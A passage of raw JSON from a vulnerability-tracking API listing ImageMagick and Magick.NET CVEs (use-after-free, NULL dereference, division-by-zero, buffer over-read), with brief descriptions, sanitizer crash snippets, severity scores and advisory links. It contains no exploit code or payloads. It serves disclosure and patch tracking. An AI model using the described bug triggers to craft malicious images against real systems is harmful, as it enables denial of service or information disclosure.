"VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-26066", "GHSA-v994-63cg-9wj3" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-7rkq-y5rp-wyfm" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50331?format=api", "vulnerability_id": "VCID-836n-xdhx-zye3", "summary": "ImageMagick has Use After Free in MSLStartElement in \"coders/msl.c\"\nA crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25983.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25983.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25983", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0003", "scoring_system": "epss", "scoring_elements": "0.09127", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25983" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25983", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25983" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/257200cb21de23404dce5f8261871845d425dee5", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/257200cb21de23404dce5f8261871845d425dee5" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442113", "reference_id": "2442113", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442113" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25983", "reference_id": "CVE-2026-25983", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25983" }, { "reference_url": "https://github.com/advisories/GHSA-fwqw-2x5x-w566", "reference_id": "GHSA-fwqw-2x5x-w566", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-fwqw-2x5x-w566" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwqw-2x5x-w566", "reference_id": "GHSA-fwqw-2x5x-w566", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:04:31Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwqw-2x5x-w566" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25983", "GHSA-fwqw-2x5x-w566" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-836n-xdhx-zye3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50332?format=api", "vulnerability_id": "VCID-88yk-kthd-5qgr", "summary": "ImageMagick has NULL Pointer Dereference in ClonePixelCacheRepository via crafted image\nA NULL pointer dereference in ClonePixelCacheRepository allows a remote attacker to crash any application linked against ImageMagick by supplying a crafted image file, resulting in Denial of Service.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3704942==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7f9d141239e0 bp 0x7ffd4c5711e0 sp 0x7ffd4c571148 T0)", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25798.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25798.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25798", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00065", "scoring_system": "epss", "scoring_elements": "0.20506", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25798" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25798", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25798" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/e046417675d5c26e5f48816851a406c121c77469", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/e046417675d5c26e5f48816851a406c121c77469" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/issues/8567", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/issues/8567" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442119", "reference_id": "2442119", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442119" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25798", "reference_id": "CVE-2026-25798", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25798" }, { "reference_url": "https://github.com/advisories/GHSA-p863-5fgm-rgq4", "reference_id": "GHSA-p863-5fgm-rgq4", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-p863-5fgm-rgq4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p863-5fgm-rgq4", "reference_id": "GHSA-p863-5fgm-rgq4", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:20:58Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p863-5fgm-rgq4" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25798", "GHSA-p863-5fgm-rgq4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-88yk-kthd-5qgr" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50316?format=api", "vulnerability_id": "VCID-8sq5-r6ur-3be6", "summary": "ImageMagick has Division-by-Zero in YUV sampling factor validation, which leads to crash\nA logic error in YUV sampling factor validation allows an invalid sampling factor to bypass checks and trigger a division-by-zero during image loading, resulting in a reliable denial-of-service.\n\n```\ncoders/yuv.c:210:47: runtime error: division by zero\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3543373==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x55deeb4d723c bp 0x7fffc28d34d0 sp 0x7fffc28d3320 T0)", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25799.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25799.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25799", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.05835", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25799" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25799", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25799" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/49000e7298fbfdd759ac2c46f740f40c2e9b7452", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/49000e7298fbfdd759ac2c46f740f40c2e9b7452" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442120", "reference_id": "2442120", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442120" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25799", "reference_id": "CVE-2026-25799", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25799" }, { "reference_url": "https://github.com/advisories/GHSA-543g-8grm-9cw6", "reference_id": "GHSA-543g-8grm-9cw6", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-543g-8grm-9cw6" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-543g-8grm-9cw6", "reference_id": "GHSA-543g-8grm-9cw6", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:22:05Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-543g-8grm-9cw6" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25799", "GHSA-543g-8grm-9cw6" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8sq5-r6ur-3be6" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50310?format=api", "vulnerability_id": "VCID-8zwb-29vf-gkag", "summary": "ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer\nThe UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash.\n\n```\nREAD of size 1 at 0x55a8823a776e thread T0", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25898.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25898.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25898", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00022", "scoring_system": "epss", "scoring_elements": "0.06331", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25898" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25898", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25898" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/c9c87dbaba56bf82aebd3392e11f0ffd93709b12", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/c9c87dbaba56bf82aebd3392e11f0ffd93709b12" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442102", "reference_id": "2442102", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442102" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25898", "reference_id": "CVE-2026-25898", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25898" }, { "reference_url": "https://github.com/advisories/GHSA-vpxv-r9pg-7gpr", "reference_id": "GHSA-vpxv-r9pg-7gpr", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-vpxv-r9pg-7gpr" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vpxv-r9pg-7gpr", "reference_id": "GHSA-vpxv-r9pg-7gpr", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", 